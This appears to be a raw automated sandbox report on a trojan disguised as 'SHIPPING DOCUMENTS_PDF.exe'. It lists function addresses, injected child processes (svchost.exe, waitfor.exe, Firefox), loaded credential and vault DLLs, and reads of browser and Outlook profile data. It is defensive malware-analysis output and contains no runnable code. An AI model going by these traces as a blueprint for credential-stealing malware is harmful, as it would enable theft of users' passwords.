Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D5910	2_2_030D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049950	2_2_03049950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B950	2_2_0305B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AD800	2_2_030AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030438E0	2_2_030438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFF09	2_2_030FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03041F92	2_2_03041F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFFB1	2_2_030FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003FD2	2_2_03003FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03003FD5	2_2_03003FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03049EB0	2_2_03049EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03043D40	2_2_03043D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F1D5A	2_2_030F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7D73	2_2_030F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FDC0	2_2_0305FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B9C32	2_2_030B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFCF2	2_2_030FFCF2
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D0E4F6	5_2_04D0E4F6
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D12446	5_2_04D12446
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D04420	5_2_04D04420
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D20591	5_2_04D20591
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C60535	5_2_04C60535
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C7C6E0	5_2_04C7C6E0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C5C7C0	5_2_04C5C7C0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C84750	5_2_04C84750
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C60770	5_2_04C60770
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CF2000	5_2_04CF2000
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D181CC	5_2_04D181CC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D141A2	5_2_04D141A2
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D201AA	5_2_04D201AA
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CE8158	5_2_04CE8158
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C50100	5_2_04C50100
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CFA118	5_2_04CFA118
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CE02C0	5_2_04CE02C0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D00274	5_2_04D00274
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D203E6	5_2_04D203E6
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C6E3F0	5_2_04C6E3F0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1A352	5_2_04D1A352
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C50CF2	5_2_04C50CF2
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D00CB5	5_2_04D00CB5
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C60C00	5_2_04C60C00
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C5ADE0	5_2_04C5ADE0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C78DBF	5_2_04C78DBF
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C6AD00	5_2_04C6AD00
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CFCD1F	5_2_04CFCD1F
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1EEDB	5_2_04D1EEDB
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1CE93	5_2_04D1CE93
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C72E90	5_2_04C72E90
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C60E59	5_2_04C60E59
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1EE26	5_2_04D1EE26
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C52FC8	5_2_04C52FC8
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C6CFE0	5_2_04C6CFE0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CDEFA0	5_2_04CDEFA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CD4F40	5_2_04CD4F40
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D02F30	5_2_04D02F30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CA2F28	5_2_04CA2F28
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C80F30	5_2_04C80F30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C8E8F0	5_2_04C8E8F0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C468B8	5_2_04C468B8
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C62840	5_2_04C62840
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C6A840	5_2_04C6A840
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C629A0	5_2_04C629A0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D2A9A6	5_2_04D2A9A6
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C76962	5_2_04C76962
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C5EA80	5_2_04C5EA80
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D16BD7	5_2_04D16BD7
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1AB40	5_2_04D1AB40
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C51460	5_2_04C51460
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1F43F	5_2_04D1F43F
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D295C3	5_2_04D295C3
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CFD5B0	5_2_04CFD5B0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D17571	5_2_04D17571
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D116CC	5_2_04D116CC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CA5630	5_2_04CA5630
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1F7B0	5_2_04D1F7B0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C670C0	5_2_04C670C0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D0F0CC	5_2_04D0F0CC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1F0E0	5_2_04D1F0E0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D170E9	5_2_04D170E9
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C6B1B0	5_2_04C6B1B0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C9516C	5_2_04C9516C
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C4F172	5_2_04C4F172
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D2B16B	5_2_04D2B16B
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C7B2C0	5_2_04C7B2C0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D012ED	5_2_04D012ED
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C652A0	5_2_04C652A0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CA739A	5_2_04CA739A
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C4D34C	5_2_04C4D34C
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1132D	5_2_04D1132D
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1FCF2	5_2_04D1FCF2
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CD9C32	5_2_04CD9C32
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C7FDC0	5_2_04C7FDC0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C63D40	5_2_04C63D40
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D11D5A	5_2_04D11D5A
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D17D73	5_2_04D17D73
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C69EB0	5_2_04C69EB0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C23FD2	5_2_04C23FD2
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C23FD5	5_2_04C23FD5
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C61F92	5_2_04C61F92
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1FFB1	5_2_04D1FFB1
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1FF09	5_2_04D1FF09
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C638E0	5_2_04C638E0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CCD800	5_2_04CCD800
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C69950	5_2_04C69950
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C7B950	5_2_04C7B950
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CF5910	5_2_04CF5910
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D0DAC6	5_2_04D0DAC6
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CFDAAC	5_2_04CFDAAC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CA5AA0	5_2_04CA5AA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D01AA3	5_2_04D01AA3
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D17A46	5_2_04D17A46
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1FA49	5_2_04D1FA49
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CD3A6C	5_2_04CD3A6C
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C9DBF9	5_2_04C9DBF9
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04CD5BF0	5_2_04CD5BF0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C7FB80	5_2_04C7FB80
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04D1FB76	5_2_04D1FB76
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C71A20	5_2_02C71A20
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6CB50	5_2_02C6CB50
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6AB26	5_2_02C6AB26
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6AB30	5_2_02C6AB30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6C930	5_2_02C6C930
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6AC80	5_2_02C6AC80
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C6AC74	5_2_02C6AC74
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C73290	5_2_02C73290
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C75080	5_2_02C75080
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C8B750	5_2_02C8B750
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04A1E464	5_2_04A1E464
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04A1E7FC	5_2_04A1E7FC
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04A1E344	5_2_04A1E344
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04A1D8C8	5_2_04A1D8C8
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04A1E802	5_2_04A1E802

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03075130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 030AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0302B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03087E54 appears 111 times
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: String function: 00B70AE3 appears 70 times
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: String function: 00B78900 appears 42 times
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: String function: 00B57DE1 appears 35 times
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: String function: 04CCEA12 appears 86 times
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: String function: 04C4B970 appears 280 times
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: String function: 04CDF290 appears 105 times
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: String function: 04CA7E54 appears 111 times
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: String function: 04C95130 appears 58 times

Source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030539371.00000000037FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOCUMENTS_PDF.exe
Source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030424759.0000000003653000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOCUMENTS_PDF.exe

Source: SHIPPING DOCUMENTS_PDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@17/12

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BBA06A GetLastError,FormatMessageW,

0_2_00BBA06A

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BA81CB AdjustTokenPrivileges,CloseHandle,		0_2_00BA81CB
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BA87E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00BA87E1

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BBB3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00BBB3FB

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BCEE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00BCEE0D

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BC83BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00BC83BB

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00B54E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00B54E89

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

File created: C:\Users\user\AppData\Local\Temp\aut84AE.tmp

Source: SHIPPING DOCUMENTS_PDF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: waitfor.exe, 00000005.00000002.4472625168.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2423088351.0000000002F31000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2425297116.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2423088351.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2425297116.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2425106123.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4472625168.0000000002F80000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SHIPPING DOCUMENTS_PDF.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe "C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Process created: C:\Windows\SysWOW64\waitfor.exe "C:\Windows\SysWOW64\waitfor.exe"
Source: C:\Windows\SysWOW64\waitfor.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Process created: C:\Windows\SysWOW64\waitfor.exe "C:\Windows\SysWOW64\waitfor.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\waitfor.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\waitfor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\waitfor.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: SHIPPING DOCUMENTS_PDF.exe

Static file information: File size 1188352 > 1048576

Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SHIPPING DOCUMENTS_PDF.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: waitfor.pdbGCTL source: svchost.exe, 00000002.00000003.2214923120.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472898129.0000000001498000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: waitfor.pdb source: svchost.exe, 00000002.00000003.2214923120.0000000002A1A000.00000004.00000020.00020000.00000000.sdmp, pNkvbgLNQpIoyz.exe, 00000003.00000002.4472898129.0000000001498000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: pNkvbgLNQpIoyz.exe, 00000003.00000000.2170370235.0000000000F6E000.00000002.00000001.01000000.00000004.sdmp, pNkvbgLNQpIoyz.exe, 00000006.00000002.4473119648.0000000000F6E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030202293.00000000036D0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2029703617.0000000003530000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152549878.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153950004.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.000000000319E000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2248057916.00000000048C9000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2250042141.0000000004A7A000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004C20000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004DBE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2030202293.00000000036D0000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOCUMENTS_PDF.exe, 00000000.00000003.2029703617.0000000003530000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2152549878.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2153950004.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2248912135.000000000319E000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, waitfor.exe, 00000005.00000003.2248057916.00000000048C9000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000003.2250042141.0000000004A7A000.00000004.00000020.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004C20000.00000040.00001000.00020000.00000000.sdmp, waitfor.exe, 00000005.00000002.4473547371.0000000004DBE000.00000040.00001000.00020000.00000000.sdmp

Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SHIPPING DOCUMENTS_PDF.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
